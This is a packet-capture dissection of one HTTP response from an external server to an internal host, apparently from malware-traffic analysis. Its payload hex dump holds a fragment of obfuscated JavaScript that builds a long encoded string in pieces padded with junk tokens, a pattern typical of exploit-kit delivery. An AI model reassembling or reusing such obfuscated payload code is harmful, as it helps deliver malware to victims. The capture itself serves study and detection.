Frame 211: Packet, 1514 bytes on wire (12112 bits), 1514 bytes captured (12112 bits) Encapsulation type: Ethernet (1) Arrival Time: Nov 21, 2017 01:00:43.571917000 UTC UTC Arrival Time: Nov 21, 2017 01:00:43.571917000 UTC Epoch Arrival Time: 1511226043.571917000 [Time shift for this packet: 0.000000000 seconds] [Time delta from previous captured frame: 500.000 microseconds] [Time since reference or first frame: 37.706177000 seconds] Frame Number: 211 Frame Length: 1514 bytes (12112 bits) Capture Length: 1514 bytes (12112 bits) [Frame is marked: False] [Frame is ignored: False] [Protocols in frame: eth:ethertype:ip:tcp:http:data] Character encoding: ASCII (0) Ethernet II, Src: Netgear_8d:2e:93 (74:44:01:8d:2e:93), Dst: HewlettPacka_d7:16:7c (00:1a:4b:d7:16:7c) Destination: HewlettPacka_d7:16:7c (00:1a:4b:d7:16:7c) .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default) .... ...0 .... .... .... .... = IG bit: Individual address (unicast) Source: Netgear_8d:2e:93 (74:44:01:8d:2e:93) .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default) .... ...0 .... .... .... .... = IG bit: Individual address (unicast) Type: IPv4 (0x0800) [Stream index: 0] Internet Protocol Version 4, Src: 109.120.150.110, Dst: 10.4.1.102 0100 .... = Version: 4 .... 0101 = Header Length: 20 bytes (5) Differentiated Services Field: 0x00 (DSCP: CS0, ECN: Not-ECT) 0000 00.. = Differentiated Services Codepoint: Default (0) .... ..00 = Explicit Congestion Notification: Not ECN-Capable Transport (0) Total Length: 1500 Identification: 0xc9c5 (51653) 000. .... = Flags: 0x0 0... .... = Reserved bit: Not set .0.. .... = Don't fragment: Not set ..0. .... = More fragments: Not set ...0 0000 0000 0000 = Fragment Offset: 0 Time to Live: 128 Protocol: TCP (6) Header Checksum: 0x5c06 [validation disabled] [Header checksum status: Unverified] Source Address: 109.120.150.110 Destination Address: 10.4.1.102 [Source GeoIP: RU] [Source GeoIP Country: Russia] [Source or Destination GeoIP Country: Russia] [Source GeoIP ISO Two Letter Country Code: RU] [Source or Destination GeoIP ISO Two Letter Country Code: RU] [Source GeoIP Latitude: 55.7386] [Source or Destination GeoIP Latitude: 55.7386] [Source GeoIP Longitude: 37.6068] [Source or Destination GeoIP Longitude: 37.6068] [Stream index: 9] Transmission Control Protocol, Src Port: 80, Dst Port: 49161, Seq: 93487, Ack: 1678, Len: 1460 Source Port: 80 Destination Port: 49161 [Stream index: 4] [Stream Packet Number: 125] [Conversation completeness: Incomplete, DATA (15)] ..0. .... = RST: Absent ...0 .... = FIN: Absent .... 1... = Data: Present .... .1.. = ACK: Present .... ..1. = SYN-ACK: Present .... ...1 = SYN: Present [Completeness Flags: ··DASS] [TCP Segment Len: 1460] Sequence Number: 93487 (relative sequence number) Sequence Number (raw): 3620165902 [Next Sequence Number: 94947 (relative sequence number)] Acknowledgment Number: 1678 (relative ack number) Acknowledgment number (raw): 2557490690 0101 .... = Header Length: 20 bytes (5) Flags: 0x010 (ACK) 000. .... .... = Reserved: Not set ...0 .... .... = Accurate ECN: Not set .... 0... .... = Congestion Window Reduced: Not set .... .0.. .... = ECN-Echo: Not set .... ..0. .... = Urgent: Not set .... ...1 .... = Acknowledgment: Set .... .... 0... = Push: Not set .... .... .0.. = Reset: Not set .... .... ..0. = Syn: Not set .... .... ...0 = Fin: Not set [TCP Flags: ·······A····] Window: 64240 [Calculated window size: 64240] [Window size scaling factor: -2 (no window scaling used)] Checksum: 0xd8df [unverified] [Checksum Status: Unverified] Urgent Pointer: 0 [Timestamps] [Time since first frame in this TCP stream: 1.353047000 seconds] [Time since previous frame in this TCP stream: 500.000 microseconds] [SEQ/ACK analysis] [iRTT: 184.943000 milliseconds] [Bytes in flight: 1460] [Bytes sent since last PSH flag: 1460] [Client Contiguous Streams: 1] [Server Contiguous Streams: 1] TCP payload (1460 bytes) Hypertext Transfer Protocol File Data: 1460 bytes Data (1460 bytes) 0000 78 65 2b 3d 27 71 44 6e 66 73 32 76 42 59 30 27 xe+='qDnfs2vBY0' 0010 3b 67 6f 78 65 2b 3d 27 69 39 62 46 53 68 4f 27 ;goxe+='i9bFShO' 0020 3b 67 6f 78 65 2b 3d 27 70 4c 62 65 5a 27 3b 67 ;goxe+='pLbeZ';g 0030 6f 78 65 2b 3d 27 50 47 4d 51 36 49 45 27 3b 67 oxe+='PGMQ6IE';g 0040 6f 78 65 2b 3d 27 35 30 42 75 46 53 27 3b 67 6f oxe+='50BuFS';go 0050 78 65 2b 3d 27 67 2f 38 4a 6e 27 3b 67 6f 78 65 xe+='g/8Jn';goxe 0060 2b 3d 27 30 34 49 77 72 52 27 3b 67 6f 78 65 2b +='04IwrR';goxe+ 0070 3d 27 47 4f 45 41 58 6d 79 44 27 3b 67 6f 78 65 ='GOEAXmyD';goxe 0080 2b 3d 27 2b 43 59 63 41 2f 70 58 27 3b 67 6f 78 +='+CYcA/pX';gox 0090 65 2b 3d 27 4c 49 59 30 37 69 50 27 3b 67 6f 78 e+='LIY07iP';gox 00a0 65 2b 3d 27 42 36 42 5a 69 4d 2b 67 4b 43 27 3b e+='B6BZiM+gKC'; 00b0 67 6f 78 65 2b 3d 27 6f 41 34 54 6b 27 3b 67 6f goxe+='oA4Tk';go 00c0 78 65 2b 3d 27 65 72 42 66 30 57 50 50 67 27 3b xe+='erBf0WPPg'; 00d0 67 6f 78 65 2b 3d 27 4d 36 35 57 43 4f 27 3b 67 goxe+='M65WCO';g 00e0 6f 78 65 2b 3d 27 4d 50 41 54 5f 4d 4f 44 27 3b oxe+='MPAT_MOD'; 00f0 67 6f 78 65 2b 3d 27 45 39 53 6e 69 32 34 56 39 goxe+='E9Sni24V9 0100 51 27 3b 67 6f 78 65 2b 3d 27 43 4f 4d 50 41 54 Q';goxe+='COMPAT 0110 5f 4d 27 3b 67 6f 78 65 2b 3d 27 4f 44 45 2f 4b _M';goxe+='ODE/K 0120 63 72 59 27 3b 67 6f 78 65 2b 3d 27 4a 4b 4c 4a crY';goxe+='JKLJ 0130 59 4a 27 3b 67 6f 78 65 2b 3d 27 42 6d 67 47 54 YJ';goxe+='BmgGT 0140 42 6b 27 3b 67 6f 78 65 2b 3d 27 51 7a 6a 44 56 Bk';goxe+='QzjDV 0150 32 73 43 53 42 27 3b 67 6f 78 65 2b 3d 27 41 4d 2sCSB';goxe+='AM 0160 69 46 67 6f 30 71 27 3b 67 6f 78 65 2b 3d 27 4b iFgo0q';goxe+='K 0170 7a 58 38 42 6f 34 50 51 27 3b 67 6f 78 65 2b 3d zX8Bo4PQ';goxe+= 0180 27 6d 6d 30 57 70 55 79 6e 55 43 27 3b 67 6f 78 'mm0WpUynUC';gox 0190 65 2b 3d 27 4f 4d 50 41 54 5f 4d 4f 27 3b 67 6f e+='OMPAT_MO';go 01a0 78 65 2b 3d 27 44 45 69 37 62 58 27 3b 67 6f 78 xe+='DEi7bX';gox 01b0 65 2b 3d 27 39 6f 72 77 6e 65 67 41 51 27 3b 67 e+='9orwnegAQ';g 01c0 6f 78 65 2b 3d 27 68 4e 59 6d 47 55 46 4d 46 27 oxe+='hNYmGUFMF' 01d0 3b 67 6f 78 65 2b 3d 27 50 59 72 74 42 6e 27 3b ;goxe+='PYrtBn'; 01e0 67 6f 78 65 2b 3d 27 36 47 44 64 62 2f 27 3b 67 goxe+='6GDdb/';g 01f0 6f 78 65 2b 3d 27 73 38 70 32 6f 27 3b 67 6f 78 oxe+='s8p2o';gox 0200 65 2b 3d 27 68 4d 45 32 4e 36 4f 43 4a 27 3b 67 e+='hME2N6OCJ';g 0210 6f 78 65 2b 3d 27 7a 6c 4e 66 77 67 41 51 27 3b oxe+='zlNfwgAQ'; 0220 67 6f 78 65 2b 3d 27 44 5a 6c 75 6f 49 44 27 3b goxe+='DZluoID'; 0230 67 6f 78 65 2b 3d 27 62 59 59 4e 6c 4d 67 69 27 goxe+='bYYNlMgi' 0240 3b 67 6f 78 65 2b 3d 27 79 55 71 74 47 59 27 3b ;goxe+='yUqtGY'; 0250 67 6f 78 65 2b 3d 27 77 31 6b 4c 6f 27 3b 67 6f goxe+='w1kLo';go 0260 78 65 2b 3d 27 4c 45 6f 6e 5a 42 62 27 3b 67 6f xe+='LEonZBb';go 0270 78 65 2b 3d 27 54 62 62 6e 5a 42 6f 27 3b 67 6f xe+='TbbnZBo';go 0280 78 65 2b 3d 27 41 75 6f 6c 41 4a 27 3b 67 6f 78 xe+='AuolAJ';gox 0290 65 2b 3d 27 58 43 64 41 42 27 3b 67 6f 78 65 2b e+='XCdAB';goxe+ 02a0 3d 27 43 31 30 45 4d 30 6d 27 3b 67 6f 78 65 2b ='C10EM0m';goxe+ 02b0 3d 27 64 51 6b 50 57 27 3b 67 6f 78 65 2b 3d 27 ='dQkPW';goxe+=' 02c0 77 79 50 6f 69 62 27 3b 67 6f 78 65 2b 3d 27 49 wyPoib';goxe+='I 02d0 66 46 53 6f 74 31 47 27 3b 67 6f 78 65 2b 3d 27 fFSot1G';goxe+=' 02e0 51 78 38 46 5a 51 63 27 3b 67 6f 78 65 2b 3d 27 Qx8FZQc';goxe+=' 02f0 50 59 65 42 4c 41 59 74 31 27 3b 67 6f 78 65 2b PYeBLAYt1';goxe+ 0300 3d 27 6a 74 56 4d 42 2b 4b 56 65 34 27 3b 67 6f ='jtVMB+KVe4';go 0310 78 65 2b 3d 27 4c 44 46 49 4a 46 42 37 56 27 3b xe+='LDFIJFB7V'; 0320 67 6f 78 65 2b 3d 27 44 38 49 4f 46 27 3b 67 6f goxe+='D8IOF';go 0330 78 65 2b 3d 27 44 79 4e 59 78 57 56 27 3b 67 6f xe+='DyNYxWV';go 0340 78 65 2b 3d 27 53 74 4e 6a 66 51 6f 44 58 27 3b xe+='StNjfQoDX'; 0350 67 6f 78 65 2b 3d 27 41 34 62 50 45 2b 68 67 27 goxe+='A4bPE+hg' 0360 3b 67 6f 78 65 2b 3d 27 52 59 51 6c 33 41 44 42 ;goxe+='RYQl3ADB 0370 64 44 27 3b 67 6f 78 65 2b 3d 27 32 51 73 4b 68 dD';goxe+='2QsKh 0380 33 27 3b 67 6f 78 65 2b 3d 27 43 79 44 30 47 6c 3';goxe+='CyD0Gl 0390 78 76 38 27 3b 67 6f 78 65 2b 3d 27 71 6c 63 71 xv8';goxe+='qlcq 03a0 64 65 4a 27 3b 67 6f 78 65 2b 3d 27 78 67 59 33 deJ';goxe+='xgY3 03b0 74 43 72 64 27 3b 67 6f 78 65 2b 3d 27 41 69 66 tCrd';goxe+='Aif 03c0 64 72 30 4e 4d 27 3b 67 6f 78 65 2b 3d 27 37 50 dr0NM';goxe+='7P 03d0 4a 4e 67 6b 27 3b 67 6f 78 65 2b 3d 27 41 31 54 JNgk';goxe+='A1T 03e0 74 4e 43 4f 4d 50 27 3b 67 6f 78 65 2b 3d 27 41 tNCOMP';goxe+='A 03f0 54 5f 4d 4f 27 3b 67 6f 78 65 2b 3d 27 44 45 67 T_MO';goxe+='DEg 0400 76 59 44 27 3b 67 6f 78 65 2b 3d 27 53 5a 71 68 vYD';goxe+='SZqh 0410 32 55 27 3b 67 6f 78 65 2b 3d 27 79 41 49 46 59 2U';goxe+='yAIFY 0420 59 27 3b 67 6f 78 65 2b 3d 27 6c 30 44 79 67 4e Y';goxe+='l0DygN 0430 59 68 59 4d 27 3b 67 6f 78 65 2b 3d 27 77 59 46 YhYM';goxe+='wYF 0440 67 41 46 71 77 27 3b 67 6f 78 65 2b 3d 27 58 71 gAFqw';goxe+='Xq 0450 68 55 59 2b 41 34 48 27 3b 67 6f 78 65 2b 3d 27 hUY+A4H';goxe+=' 0460 67 6b 42 77 6c 30 46 4b 30 57 27 3b 67 6f 78 65 gkBwl0FK0W';goxe 0470 2b 3d 27 64 51 4d 42 56 6f 67 4d 27 3b 67 6f 78 +='dQMBVogM';gox 0480 65 2b 3d 27 43 4f 4d 50 41 27 3b 67 6f 78 65 2b e+='COMPA';goxe+ 0490 3d 27 54 5f 4d 4f 44 45 36 36 54 63 27 3b 67 6f ='T_MODE66Tc';go 04a0 78 65 2b 3d 27 44 36 43 54 56 43 63 4b 27 3b 67 xe+='D6CTVCcK';g 04b0 6f 78 65 2b 3d 27 78 34 35 65 59 48 27 3b 67 6f oxe+='x45eYH';go 04c0 78 65 2b 3d 27 38 4a 47 32 4b 78 55 27 3b 67 6f xe+='8JG2KxU';go 04d0 78 65 2b 3d 27 43 42 39 41 75 56 7a 79 27 3b 67 xe+='CB9AuVzy';g 04e0 6f 78 65 2b 3d 27 43 4f 4d 50 41 54 27 3b 67 6f oxe+='COMPAT';go 04f0 78 65 2b 3d 27 5f 4d 4f 44 45 2f 53 38 27 3b 67 xe+='_MODE/S8';g 0500 6f 78 65 2b 3d 27 44 56 49 76 4b 44 43 4f 27 3b oxe+='DVIvKDCO'; 0510 67 6f 78 65 2b 3d 27 4d 50 41 54 5f 4d 27 3b 67 goxe+='MPAT_M';g 0520 6f 78 65 2b 3d 27 4f 44 45 4a 4a 69 27 3b 67 6f oxe+='ODEJJi';go 0530 78 65 2b 3d 27 33 34 56 32 6e 27 3b 67 6f 78 65 xe+='34V2n';goxe 0540 2b 3d 27 57 71 62 39 67 27 3b 67 6f 78 65 2b 3d +='Wqb9g';goxe+= 0550 27 62 6f 52 67 2f 76 27 3b 67 6f 78 65 2b 3d 27 'boRg/v';goxe+=' 0560 42 38 41 51 55 63 2b 45 57 27 3b 67 6f 78 65 2b B8AQUc+EW';goxe+ 0570 3d 27 69 46 56 51 44 4a 27 3b 67 6f 78 65 2b 3d ='iFVQDJ';goxe+= 0580 27 6c 57 4e 2b 41 54 27 3b 67 6f 78 65 2b 3d 27 'lWN+AT';goxe+=' 0590 59 6f 74 56 71 6c 67 6d 2b 69 27 3b 67 6f 78 65 YotVqlgm+i';goxe 05a0 2b 3d 27 67 78 58 39 6d 6a 73 71 27 3b 67 6f 78 +='gxX9mjsq';gox 05b0 65 2b 3d 27 e+=' Data […]: 78652b3d2771446e66733276425930273b676f78652b3d276939624653684f273b676f78652b3d27704c62655a273b676f78652b3d2750474d51364945273b676f78652b3d27353042754653273b676f78652b3d27672f384a6e273b676f78652b3d27303449777252273b676f78652b3d2 [Length: 1460]